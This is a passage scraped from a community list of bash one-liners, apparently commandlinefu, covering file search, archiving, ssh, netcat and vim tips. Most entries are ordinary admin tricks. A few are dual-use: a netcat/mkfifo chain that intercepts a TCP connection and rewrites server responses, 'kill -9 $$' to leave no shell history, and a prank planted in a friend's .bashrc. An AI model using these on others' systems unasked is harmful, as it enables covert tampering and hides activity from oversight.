bash. Make sure to turn on extended pattern matching with 'shopt -e extglob'. sed -i 8d ~/.ssh/known_hosts Remove a line in a text file. Useful to fix "ssh host key change" warnings google docs edit --title "To-Do List" --editor vim Google just released a new commend line tool offering all sorts of new services from the commend line. One of them is uploading a youtube video but there are plenty more google services to interact with. Download it here: http://code.google.com/p/googlecl/ Manual: http://code.google.com/p/googlecl/wiki/Manual This specific command courtesy of lifehacker:http://lifehacker.com/5568817/ Though all can be found in manual page above. Edit a google doc with vim Google just released a new commend line tool offering all sorts of new services from the commend line. One of them is uploading a youtube video but there are plenty more google services to interact with. Manual: http://code.google.com/p/googlecl/wiki/Manual This specific command courtesy of lifehacker:http://lifehacker.com/5568817/ Though all can be found in manual page linked above. ls -d */ List only the directories -d: list directory entries instead of contents, and do not dereference symbolic links find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \; ./src/main.c: printf("Search phrase"); ./include/example.h: #define MY_PHASE search phrase Functions: find grep Search recursively to find a word or phrase in certain file types, such as C code I have a bash alias for this command line and find it useful for searching C code for error messages. The -H tells grep to print the filename. you can omit the -i to match the case exactly or keep the -i for case-insensitive matching. This find command find all .c and .h files kill -9 $$ Functions: kill exit without saving history this exits bash without saving the history. unlike explicitly disabling the history in some way, this works anywhere, and it works if you decide *after* issuing the command you don't want logged, that you don't want it logged ... $$ ( or ${$} ) is the pid of the current bash instance this also works perfectly in shells that don't have $$ if you do something like kill -9 `readlink /proc/self` leave +15 $ leave +15 Alarm set for Thu Mar 12 23:21. (pid 27264) Remind yourself to leave in 15 minutes If you spend most of your time in front of the terminal, leave is a useful reminder. Leave can have absolute form: leave 1555 reminds you to leave at 3:55PM date --set="$(ssh user@server date)" Password: Tue Aug 30 16:00:02 EDT 2011 Synchronize date and time with a server over ssh Shorter, easier to remember version of cmd#7636 NTP is better, but there are situations where it can't be used. In those cases, you can do this to sync the local time to a server. <COMMAND> |: # with >/dev/null: $ time dd if=/dev/zero bs=1K count=100000 >/dev/null 100000+0 records in 100000+0 records out 102400000 bytes (102 MB) copied, 0.0355178 s, 2.9 GB/s real 0m0.037s user 0m0.011s sys 0m0.025s # with |: $ time dd if=/dev/zero bs=1K count=100000 |: real 0m0.002s user 0m0.000s sys 0m0.002s Fast, built-in pipe-based data sink This is shorter and actually much faster than >/dev/null (see sample output for timings) Plus, it looks like a disappointed face emoticon. mkdir /home/foo/doc/bar && cd $_ Functions: cd mkdir mkdir & cd into it as single command The biggest advantage of this over the functions is that it is portable. diff <(lsof -p 1234) <(sleep 10; lsof -p 1234) Functions: diff sleep Eavesdrop on your system This command takes a snapshot of the open files for a PID 1234 then waits 10 seconds and takes another snapshot of the same PID, it then displays the difference between each snapshot to give you an insight into what the application is doing. ‹ First < 4 5 6 7 8 > Last › curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2 Functions: cut egrep Gets a random Futurama quote from /. for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; done for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; done "gs" -q -dQUIET -dPARANOIDSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=0 "-sDEVICE=pnmraw" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r300x300" "-sOutputFile=/tmp/magick-XXz6cMMo" "-f/tmp/magick-XX9DNL7g" "-f/tmp/magick-XXPGU3s9" Functions: file sed Convert PDF to JPG (relies on 'imagemagick') This command will convert all .pdf files in a directory into a 800px (wide or height, whichever is smaller) image (with the aspect ratio kept) .jpg. If the file is named 'example1.pdf' it will be named 'example1.jpg' when it is complete. This is a VERY worthwhile command! People pay hundreds of dollars for this in the Windows world. My .jpg files average between 150kB to 300kB, but your's may differ. cp file.txt{,.bak} Create a quick back-up copy of a file Uses shell expansion to create a back-up called file.txt.bak ssh root@remote.host "rpm -qa" | xargs yum -y install Functions: ssh xargs awk '{$1=$3=""}1' file Exclude multiple columns using AWK Print all columns except the 1st and 3rd. echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_') tee can split a pipe in two tee_can_split_a_pipe_in_two owt ni epip a tilps nac eet Functions: echo tee tr Use tee to process a pipe with two or more processes Tee can be used to split a pipe into multiple streams for one or more process to work it. You can add more " >()" for even more fun. tar --exclude-vcs -cf src.tar src/ Functions: tar Exclude .svn, .git and other VCS junk for a pristine tarball ~$ tar --version tar (GNU tar) 1.20 free && sync && echo 3 > /proc/sys/vm/drop_caches && free Functions: echo free sync Release memory used by the Linux kernel on caches The Linux kernel uses unused memory in caches. When you execute "free" you never get the "real" available memory. grep --color=always | less -R Functions: grep less Colorized grep in less Get your colorized grep output in less(1). This involves two things: forcing grep to output colors even though it's not going to a terminal and telling less to handle those properly. killall -STOP -m firefox Functions: killall Manually Pause/Unpause Firefox Process with POSIX-Signals Continue with: killall -CONT -m firefox Suspends all Firefox Threads. Results in Zero CPU load. Useful when having 100+ Tabs open and you temporarily need the power elsewhere. Be careful - might produce RACE CONDITIONS or LOCKUPS in other processes or FF itself. matching is case sensitive. export HISTTIMEFORMAT="%F %T " 3619 2009-05-12 13:24:09 ls 3619 2009-05-12 13:26:32 pwd 3619 2009-05-12 13:28:48 cat README Functions: export Add timestamp to history History usually only gives the command number and the command. This will add a timestamp to the history file. Note: this will only put the correct timestamp on commands used after the export is done. You may want to put this in your .bashrc timeout 5s COMMAND Start COMMAND, and kill it if still running after 5 seconds grep ^Dirty /proc/meminfo Functions: grep Find out how much data is waiting to be written to disk Ever ask yourself "How much data would be lost if I pressed the reset button?" Scary, isn't it? [enter]~? Supported escape sequences: ~. - terminate connection (and any multiplexed sessions) ~B - send a BREAK to the remote system ~C - open a command line ~R - Request rekey (SSH protocol 2 only) ~^Z - suspend ssh ~# - list forwarded connections ~& - background ssh (when waiting for connections to terminate) ~? - this message ~~ - send the escape character by typing it twice (Note that escapes are only recognized immediately after newline.) Control ssh connection SSH can be controlled trough an ~ escape sequence. Example, to terminate the current ssh connection, type a newline, then the ~ character, and last a . character. This is useful eg when an ssh connection hangs after you reboot a machine and the connection hangs. echo ${SSH_CLIENT%% *} Get the IP of the host your coming from when logged in remotely Even faster without the need for cut... :) Take screenshot through SSH Of course it requires import command, from imagemagick tools, but it's simpler to type, and imagemagick is usefull anyway. ssh host -l user $(<cmd.txt) Functions: host ssh run complex remote shell cmds over ssh, without escaping quotes Much simpler method. More portable version: ssh host -l user "`cat cmd.txt`" apt-get install most && update-alternatives --set pager /usr/bin/most Functions: apt install Colorful man That command installs "most" and make this command as the default man reader. The "most" works like "less" (the current man reader), but it render colors for manpages and may do more things. Read "man most". You can see a preview here: http://www.dicas-l.com.br/dicas-l/20090718.php nl same thing Functions: nl prints line numbers some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr) Pipe stdout and stderr, etc., to separate commands You can use [n]> combined with >(cmd) to attach the various output file descriptors to be the input of different commands. read -sn 1 -p "Press any key to continue..." Functions: read Press Any Key to Continue Halt script progress until a key has been pressed. Source: http://bash-hackers.org/wiki/doku.php/mirroring/bashfaq/065 lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2 kopete ktorrent firefox-b Functions: cut tail uniq Show apps that use internet connection at the moment. show only the name of the apps that are using internet lshw -html > hardware.html Create a nifty overview of the hardware in your computer After the command is done, open the html file in a browser $ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/' Functions: grep sed recursive search and replace old with new string, inside files recursively traverse the directory structure from . down, look for string "oldstring" in all files, and replace it with "newstring", wherever found also: grep -rl oldstring . |xargs perl -pi~ -e 's/oldstring/newstring' :mksession! <filename> Save your sessions in vim to resume later Creates a full snapshot of your current vim session, including tabs, open buffers, cursor positions, everything. Can be resumed with vim -S . Useful for those times when you HAVE to close vim, but you don't want to lose all your hard-opened buffers and windows. The ! will cause vim to overwrite the file if it already exists. It is not necessary, but useful if you frequently save to the same file (like session.vim or something). ‹ First < 5 6 7 8 9 > Last › lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\' find geographical location of an ip address I save this to bin/iptrace and run "iptrace ipaddress" to get the Country, City and State of an ip address using the http://ipadress.com service. I add the following to my script to get a tinyurl of the map as well: URL=`lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep details|awk '{print $2}'` lynx -dump http://tinyurl.com/create.php?url=$URL|grep tinyurl|grep "19. http"|awk '{print $2}' man -t UNIX_COMMAND | open -f -a preview read manpage of a unix command as pdf in preview (Os X) ssh -t user@some.domain.com /usr/bin/screen -xRR How to establish a remote Gnu screen session that you can re-connect to Long before tabbed terminals existed, people have been using Gnu screen to open many shells in a single text terminal. Combined with ssh, it gives you the ability to have many open shells with a single remote connection using the above options. If you detach with "Ctrl-a d" or if the ssh session is accidentally terminated, all processes running in your remote shells remain undisturbed, ready for you to reconnect. Other useful screen commands are "Ctrl-a c" (open new shell) and "Ctrl-a a" (alternate between shells). Read this quick reference for more screen commands: http://aperiodic.net/screen/quick_reference mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME" Copy a MySQL Database to a new Server via SSH with one command mkdir -p work/{d1,d2}/{src,bin,bak} make directory tree netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c List the number and type of active network connections file -s /dev/sd* /dev/sda: x86 boot sector; GRand Unified Bootloader, stage1 version 0x3, stage2 address 0x2000, stage2 segment 0x200; partition 1: ID=0x83, active, starthead 1, startsector 63, 497952 sectors; partition 2: ID=0x5, starthead 0, startsector 498015, 141741495 sectors, code offset 0x63 /dev/sda1: Linux rev 1.0 ext3 filesystem data, UUID=e56c6019-7b10-44c9-8692-6137b93648dd (needs journal recovery) /dev/sda2: x86 boot sector; partition 1: ID=0x8e, starthead 1, startsector 63, 141741432 sectors, extended partition table (last)\011, code offset 0x0 /dev/sda5: LVM2 (Linux Logical Volume Manager) , UUID: WETkEg8anaR7V9Kkc39GKs410FKlw5K /dev/sdb: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 426759839 sectors, extended partition table (last)\011, code offset 0x0 /dev/sdb1: LVM2 (Linux Logical Volume Manager) , UUID: Y6gkfwuq7FZeqoE35bIboE4HkdlOcme Functions: file Use file(1) to view device information file(1) can print details about certain devices in the /dev/ directory (block devices in this example). This helped me to know at a glance the location and revision of my bootloader, UUIDs, filesystem status, which partitions were primaries / logicals, etc.. without running several commands. See also: file -s /dev/dm-* file -s /dev/cciss/* etc.. bind -x '"\C-l":ls -l' Bind a key with a command the -x option is for binding to a shell command vi +/pattern [file] Functions: vi Opens vi/vim at pattern in file Open up vi or vim at the first instance of a pattern in [file]. Useful if you know where you want to be, like "PermitRootLogin" in sshd_config. Also, vi +10 [file] will open up a file at line 10. VERY useful when you get "error at line 10" type of output. find . -type d -empty -delete Functions: find Recursively remove all empty directories yes | pv | ssh $host "cat > /dev/null" 88.2MB 0:00:15 [6.83MB/s] [ <=> ] Functions: ssh yes live ssh network throughput test connects to host via ssh and displays the live transfer speed, directing all transferred data to /dev/null needs pv installed Fedora: 'yum install pv' (may need the 'extras' repository enabled) grep . filename > newfilename Remove blank lines from a file using grep and save output to new file cd !$:h user@host:/home$ vim /path/to/file.txt user@host:/home$ cd !$:h user@host:/path/to$ Go to parent directory of filename edited in last command Uses the last argument of the last executed command, and gets the directory name from it. Use $!:t for the filename alone, without the dirname. perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display OK, not the most useful but a good way to impress friends. Requires the "display" command from ImageMagick. find ./ -type f -exec chmod 644 {} \; Functions: chmod find Recursively change permissions on files, leave directories alone. xset dpms force standby shut of the screen. mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo Functions: cat mkfifo tee Intercept, monitor and manipulate a TCP connection. Forwards localhost:1234 to machine:port, running all data through your chain of piped commands. The above command logs inbound and outbound traffic to two files. Tip: replace tee with sed to manipulate the data in real time (use "sed -e 's/400 Bad Request/200 OK/'" to tweak a web server's responses ;-) Limitless possibilities. svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr 5 john 5 sal 3 kate 2 joe 1 fred 1 mark Use this command to find out a list of committers sorted by the frequency of commits. tidy -xml -i -m [file] Prettify an XML file Generated XML files often are poorly formatted. Use this command to properly indent and normalize the file in-place. wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=hello+world Google text-to-speech in mp3 format EDIT: command updated to support accented characters! Works in any of 58 google supported languages (some sound like crap, english is the best IMO). You get a mp3 file containing your query in spoken language. There is a limit of 100 characters for the "q" parameter, so be careful. The "tl" parameter contains target language. bind '"\C-l":"ls -l\n"' Now type Ctrl-l and it will list all files cat /dev/urandom | hexdump -C | grep "ca fe" Functions: cat grep hexdump pretend to be busy in office to enjoy a cup of coffee just make some data scrolling off the terminal. wow. grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txt Recover a deleted file grep searches through a file and prints out all the lines that match some pattern. Here, the pattern is some string that is known to be in the deleted file. The more specific this string can be, the better. The file being searched by grep (/dev/sda1) is the partition of the hard drive the deleted file used to reside in. The ?-a? flag tells grep to treat the hard drive partition, which is actually a binary file, as text. Since recovering the entire file would be nice instead of just the lines that are already known, context control is used. The flags ?-B 25 -A 100? tell grep to print out 25 lines before a match and 100 lines after a match. Be conservative with estimates on these numbers to ensure the entire file is included (when in doubt, guess bigger numbers). Excess data is easy to trim out of results, but if you find yourself with a truncated or incomplete file, you need to do this all over again. Finally, the ?> results.txt? instructs the computer to store the output of grep in a file called results.txt. Source: http://spin.atomicobject.com/2010/08/18/undelete?utm_source=y-combinator&utm_medium=social-media&utm_campaign=technical alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))' [7995:7993 - 0:2497] [askapache@n1-backbone5:pts/0 +1] ~ $ lsof -a -d 1 -d 0-4 -w|head COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME [7995:7993 - 0:2497] [askapache@n1-backbone5:pts/0 +1] ~ $ Functions: alias echo Alias HEAD for automatic smart output Run the alias command, then issue ps aux | head and resize your terminal window (putty/console/hyperterm/xterm/etc) then issue the same command and you'll understand. ${LINES:-`tput lines 2>/dev/null||echo -n 12`} Insructs the shell that if LINES is not set or null to use the output from `tput lines` ( ncurses based terminal access ) to get the number of lines in your terminal. But furthermore, in case that doesn't work either, it will default to using the deafault of 12 (-2 = 10). The default for HEAD is to output the first 10 lines, this alias changes the default to output the first x lines instead, where x is the number of lines currently displayed on your terminal - 2. The -2 is there so that the top line displayed is the command you ran that used HEAD, ie the prompt. [7995:7993 - 0:186] 06:26:49 Thu Apr 08 [askapache@n1-backbone5:/dev/pts/0 +1] ~ In most shells the LINES variable is created automatically at login and updated when the terminal is resized (28 linux, 23/20 others for SIGWINCH) to contain the number of vertical lines that can fit in your terminal window. Because the alias doesn't hard-code the current LINES but relys on the $LINES variable, this is a dynamic alias that will always work on a tty device. PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi' Functions: printf April Fools' Day Prank Add this to a fiend's .bashrc. PROMPT_COMMAND will run just before a prompt is drawn. RANDOM will be between 0 and 32768; in this case, it'll run about 1/10th of the time. \033 is the escape character. I'll call it \e for short. \e7 -- save cursor position. \e[%d;%dH -- move cursor to absolute position \e[4%dm \e[m -- draw a random color at that point \e8 -- restore position. ‹ First < 6 7 8 9 10 > Last › :TOhtml Create colorized html file from Vim or Vimdiff While editing a source file in vim, or using vimdiff to compare two or more files, the ':TOhtml' command can be used to export each buffer as an html file, including syntax highlighting and vimdiff colorization. If you are in insert mode in vim, you will have to type This will open a new buffer filled with html, which you can then save. bbcradio() { local s PS3="Select a station: ";select s in 1 1x 2 3 4 5 6 7 "Asian Network an" "Nations & Local lcl";do break;done;s=($s);mplayer -playlist "http://www.bbc.co.uk/radio/listen/live/r"${s[@]: -1}".asx";} Listen to BBC Radio from the command line. This command lets you select from 10 different BBC stations. When one is chosen, it streams it with mplayer. Requires: mplayer with wma support. clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;} Functions: c++ wget backup all your commandlinefu.com favourites to a plaintext file Usage: clfavs username password num_favourite_commands file_in_which_to_backup grep -RnisI <pattern> * Search for a string inside all files in the current directory This is how I typically grep. -R recurse into subdirectories, -n show line numbers of matches, -i ignore case, -s suppress "doesn't exist" and "can't read" messages, -I ignore binary files (technically, process them as having no matches, important for showing inverted results with -v) I have grep aliased to "grep --color=auto" as well, but that's a matter of formatting not function. echo "foo" > /dev/tcp/192.168.1.2/25 send echo to socket network this command will send a message to the socket 25 on host 192.168.1.2 in tcp. works on udp and icmp understand only IP address, not hostname. on the other side (192.168.1.2), you can listen to this socket and test if you receive the message. easy to diagnose a firewall problem or not. diff <(cd dir1 && find | sort) <(cd dir2 && find | sort) Functions: cd diff find Compare two directory trees. This uses Bash's "process substitution" feature to compare (using diff) the output of two different process pipelines. lynx -accept_all_cookies -cmd_script=/your/keystroke-file Use lynx to run repeating website actions This command will tell lynx to read keystrokes from the specified file - which can be used in a cronjob to auto-login on websites that give you points for logging in once a day *cough cough* (which is why I used -accept_all_cookies). For creating your keystroke file, use: lynx -cmd_log yourfile nc -l -p 2000 -c "nc example.org 3000" Create a single-use TCP (or UDP) proxy Redirect the local port 2000 to the remote port 3000. The same but UDP: nc -u -l -p 2000 -c "nc -u example.org 3000" It may be used to "convert" TCP client to UDP server (or viceversa): nc -l -p 2000 -c "nc -u example.org 3000" bash -x ./post_to_commandlinefu.sh bash -x ./post_to_commandlinefu.sh bash -x ./post_to_commandlinefu.sh + COMMAND='bash -x ./post_to_commandlinefu.sh' + echo 'command is bash -x ./post_to_commandlinefu.sh' command is bash -x ./post_to_commandlinefu.sh + '[' 'bash -x ./post_to_commandlinefu.sh' = '' ']' + SESSIONFILE=./.c + LOGINURL=http://www.commandlinefu.com/users/signin + EDITURL=http://www.commandlinefu.com/commands/edit ++ dirname ./.c ++ basename ./.c + find . -name .c -mtime +1 -exec rm '{}' ';' + '[' '!' -f ./.c ']' + echo -n 'Enter commandlinefu username: ' Enter commandlinefu username: + read USERNAME + echo -n 'Enter commandlinefu password: ' Enter commandlinefu password: + read -s PASSWORD + echo + wget -O - --save-cookies ./.c --keep-session-cookies --post-data 'username=&password=&remember=on&submit=Let me in!' http://www.commandlinefu.com/users/signin + echo -n 'Enter summary (required): ' Enter summary (required): + read SUMMARY runs a bash script in debugging mode ++ echo runs a bash script in debugging mode ++ cut -c1-154 + SUMMARY='runs a bash script in debugging mode' ++ echo bash -x ./post_to_commandlinefu.sh ++ cut -c1-254 + echo 'post-data is command=bash -x ./post_to_commandlinefu.sh&summary=runs a bash script in debugging mode&submit=Save' post-data is command=bash -x ./post_to_commandlinefu.sh&summary=runs a bash script in debugging mode&submit=Save + wget -O - --load-cookies ./.c --post-data 'command=bash -x ./post_to_commandlinefu.sh&summary=runs a bash script in debugging mode&submit=Save&' http://www.commandlinefu.com/commands/edit + rm -f browse edit + rm -f '*17274*' Functions: bash runs a bash script in debugging mode find . -type f -newermt "2010-01-01" ! -newermt "2010-06-01" find files in a date range Find files in a specific date range - in this case, the first half of last year. -newermt = modification time of the file is more recent than this date GNU find allows any date specfication that GNU date would accept, e.g. find . -type f -newermt "3 years ago" ! -newermt "2 years ago" find . -type f -newermt "last monday" echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4 196 2\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub Functions: echo sudo tee GRUB2: set Super Mario as startup tune ( command & ) Functions: command A child process which survives the parent's death (for sure) Test scenario: * Open xterm (or konsole, ...) * Start xeyes with: ( xeyes & ) * Close the xterminal The xeyes process should be still running. wall <<< "Broadcast This" Functions: wall send a circular don't need echo :P cut -f5 --complement Functions: cut exclude a column with cut Show all columns except 5th. This might help you save some typing if you are trying to exclude some columns from the output. telnet towel.blinkenlights.nl 666 The BOFH Excuse Server echo $[RANDOM%X+1] Random Number Between 1 And X If X is 5, it will about a number between 1 and 5 inclusive. This works in bash and zsh. If you want between 0 and 4, remove the +1. <ctrl+z> fg; notify_me notify yourself when a long-running command which has ALREADY STARTED is finished If you want to be notified when a long-running command is finished, but you have already started it: CTRL+Z fg; echo "finished" | sendmail me@example.com I use a script to post a tweet, which sends me a txt: fg; echo "finished" | tweet alias dush="du -sm *|sort -n|tail" 2 tools 4 kernel 6 firmware 14 Documentation 15 include 17 net 17 sound 28 fs 94 arch 189 drivers Functions: alias easily find megabyte eating files or directories sorts the files by integer megabytes, which should be enough to (interactively) find the space wasters. Now you can dush for the above output, dush -n 3 for only the 3 biggest files and so on. It's always a good idea to have this line in your .profile or .bashrc pdftotext [file] - | grep 'YourPattern' GREP a PDF file. PDF files are simultaneously wonderful and heinous. They are wonderful in being ubiquitous and mostly being cross platform. They are heinous in being very difficult to work with from the command line, search, grep, use only the text inside the PDF, or use outside of proprietary products. xpdf is a wonderful set of PDF tools. It is on many linux distros and can be installed on OS X. While primarily an open PDF viewer for X, xpdf has the tool "pdftotext" that can extract formated or unformatted text from inside a PDF that has text. This text stream can then be further processed by grep or other tool. The '-' after the file name directs output to stdout rather than to a text file the same name as the PDF. Make sure you use version 3.02 of pdftotext or later; earlier versions clipped lines. The lines extracted from a PDF without the "-layout" option are very long. More paragraphs. Use just to test that a pattern exists in the file. With "-layout" the output resembles the lines, but it is not perfect. xpdf is available open source at http://www.foolabs.com/xpdf/ tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz 253MB 0:00:05 [46.7MB/s] [> ] 1% ETA 0:04:49 Functions: awk du gzip tar copy working directory and compress it on-the-fly while showing progress What happens here is we tell tar to create "-c" an archive of all files in current dir "." (recursively) and output the data to stdout "-f -". Next we specify the size "-s" to pv of all files in current dir. The "du -sb . | awk ?{print $1}?" returns number of bytes in current dir, and it gets fed as "-s" parameter to pv. Next we gzip the whole content and output the result to out.tgz file. This way "pv" knows how much data is still left to be processed and shows us that it will take yet another 4 mins 49 secs to finish. Credit: Peteris Krumins http://www.catonmat.net/blog/unix-utilities-pipe-viewer/ xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';} Functions: grep tee wget View the newest xkcd comic. This function displays the latest comic from xkcd.com. One of the best things about xkcd is the title text when you hover over the comic, so this function also displays that after you close the comic. To get a random xkcd comic, I also use the following: xkcdrandom(){ wget -qO- dynamic.xkcd.com/comic/random|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';} (echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc 01 Hz 02 Hz 03 Hz ... Cdrdao version 1.2.2 - (C) Andreas Mueller <andreas@daneb.de> Starting write at speed 48... Pausing 10 seconds - hit CTRL-C to abort. Executing power calibration... Writing lead-in and gap... Writing track 01 (mode AUDIO/AUDIO )... Writing track 02 (mode AUDIO/AUDIO )... Writing track 03 (mode AUDIO/AUDIO )... Functions: cdrdao echo rm write Create an audio test CD of sine waves from 1 to 99 Hz This command creates and burns a gapless audio CD with 99 tracks. Each track is a 30 second sine wave, the first is 1 Hz, the second 2 Hz, and so on, up to 99 Hz. This is useful for testing audio systems (how low can your bass go?) and for creating the constant vibrations needed to make non-Newtonian fluids (like cornstarch and water) crawl around. Note, this temporarily creates 500MB of .cdda files in the current directory. If you don't use the "rm" at the end of the command, you can burn more disks using cdrdao write cdrdao.toc Prerequisites: a blank CD-R in /dev/cdrw, sox (http://sox.sourceforge.net/), and cdrdao (http://cdrdao.sourceforge.net/). I'm also assuming a recent version of bash for the brace expansion (which just looks nicer than using seq(1), but isn't necessary). date -d @1234567890 convert unixtime to human-readable ( ( sleep 2h; your-command your-args ) & ) Functions: sleep Schedule a script or command in x num hours, silently run in the background even if logged out doesn't require "at", change the "2h" to whatever you want... (deafult unit for sleep is seconds) pwdx pid Show current working directory of a process ‹ First < 7 8 9 10 11 > Last › diff <(echo "$a") <(echo "$b") Functions: diff echo You got some results in two variables within your shell script and would like to find the differences? Changes in process lists, reworked file contents, ... . No need to write to temporary files. You can use all the diff parameters you'll need. Maybe anything like $ grep "^>" is helpful afterwards. history -d ssh host mypass -bash: mypass: command not found history 1 mypass history -d 1 1 history delete a line from your shell history If you're a moron like me, sometimes your fingers get away from you and you, for example, enter your password when you're already authenticated to ssh-agent, sudo, etc., and your password ends up in shell history. Here's how to get it out. true && { echo success;} || { echo failed; } success Functions: echo true Perform a branching conditional This will perform one of two blocks of code, depending on the condition of the first. Essentially is a bash terniary operator. To tell if a machine is up: ping -c1 machine { echo succes;} || { echo failed; } Because of the bash { } block operators, you can have multiple commands ping -c1 machine && { echo success;log-timestamp.sh }|| { echo failed; email-admin.sh; } Tips: Remember, the { } operators are treated by bash as a reserved word: as such, they need a space on either side. If you have a command that can fail at the end of the true block, consider ending said block with 'false' to prevent accidental execution sudo find / -mmin 60 -type f Functions: find sudo Find files that have been modified on your system in the past 60 minutes Useful mainly for debugging or troubleshooting an application or system, such as X11, Apache, Bind, DHCP and others. Another useful switch that can be combined with -mmin, -mtime and so forth is -daystart. For example, to find files that were modified in the /etc directory only yesterday: sudo find /etc -daystart -mtime 1 -type f some_command | tee >(command1) >(command2) >(command3) ... | command4 $ echo foo | tee >(cat) >(cat) >(cat) | cat foo Use tee + process substitution to split STDOUT to multiple commands Using process substitution, we can 'trick' tee into sending a command's STDOUT to an arbitrary number of commands. The last command (command4) in this example will get its input from the pipe. find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \; Speed up launch of firefox Compress information DBs of firefox to speed up the launch of browser. awk 'BEGIN{FS=":"; print "digraph{"}{split($4, a, ","); for (i in a) printf "\"%s\" [shape=box]\n\"%s\" -> \"%s\"\n", $1, a[i], $1}END{print "}"}' /etc/group|display Functions: awk printf Print diagram of user/groups Parses /etc/group to "dot" format and pases it to "display" (imagemagick) to show a usefull diagram of users and groups (don't show empty groups). youtube-dl -t --extract-audio --audio-format mp3 YOUTUBE_URL_HERE Convert Youtube videos to MP3 youtube-dl has this functionality built in. If you're running an older version of youtube-dl, you can update it using `youtube-dl -U` (although if you have an older version, it probably doesn't download youtube videos anyway.) youtube-dl --help will show you other options that may come in useful. while true; do nc -l 7000 | tar -xvf -; done Create a file server, listening in port 7000 At client side: tar c myfile | nc localhost 7000 ##Send file myfile to server tar c mydir | nc localhost 7000 ## Send directory mydir to server script -t /tmp/mylog.out 2>/tmp/mylog.time; <do your work>; <CTRL-D>; scriptreplay /tmp/mylog.time /tmp/mylog.out Functions: script Shell recorder with replay If you provide the option -t to the script command and redirect stderr into a file, the timing information on what is going on on the terminal, is also stored. You can replay the session via the scriptreplay command, where you can also provide a speedup factor (see the man page for details). Great for demonstration purposes ... diff <(lsusb) <(sleep 3s && lsusb) > Bus 002 Device 017: ID 0499:1039 Yamaha Corp. Find usb device I often use it to find recently added ou removed device, or using find in /dev, or anything similar. Just run the command, plug the device, and wait to see him and only him rm *.txt <TAB> <TAB> linux:/tmp # rm *.txt wildcard.txt tab.txt prevent accidents while using wildcards alternative for "echo rm *.txt". Just doubletab the command you are willing to use and it will show you the affected files. lsof -Pan -i tcp -i udp COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME This command is more portable than it's cousin netstat. It works well on all the BSDs, GNU/Linux, AIX and Mac OS X. You won't find lsof by default on Solaris or HPUX by default, but packages exist around the web for installation, if needed, and the command works as shown. This is the most portable command I can find that lists listening ports and their associated pid. ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i - analyze traffic remotely over ssh w/ wireshark This captures traffic on a remote machine with tshark, sends the raw pcap data over the ssh link, and displays it in wireshark. Hitting ctrl+C will stop the capture and unfortunately close your wireshark window. This can be worked-around by passing -c # to tshark to only capture a certain # of packets, or redirecting the data through a named pipe rather than piping directly from ssh to wireshark. I recommend filtering as much as you can in the tshark command to conserve bandwidth. tshark can be replaced with tcpdump thusly: ssh root@example.com tcpdump -w - 'port !22' | wireshark -k -i - tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup' Functions: host ssh tar throttle bandwidth with cstream this bzips a folder and transfers it over the network to "host" at 777k bit/s. cstream can do a lot more, have a look http://www.cons.org/cracauer/cstream.html#usage for example: echo w00t, i'm 733+ | cstream -b1 -t2 hehe :) lsof -c dhcpd [root@kxct1 prod]# lsof -c dhcpd COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME List all files opened by a particular command List all file opened by a particular command based on it's command name. rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file Functions: rsync Resume scp of a big file It can resume a failed secure 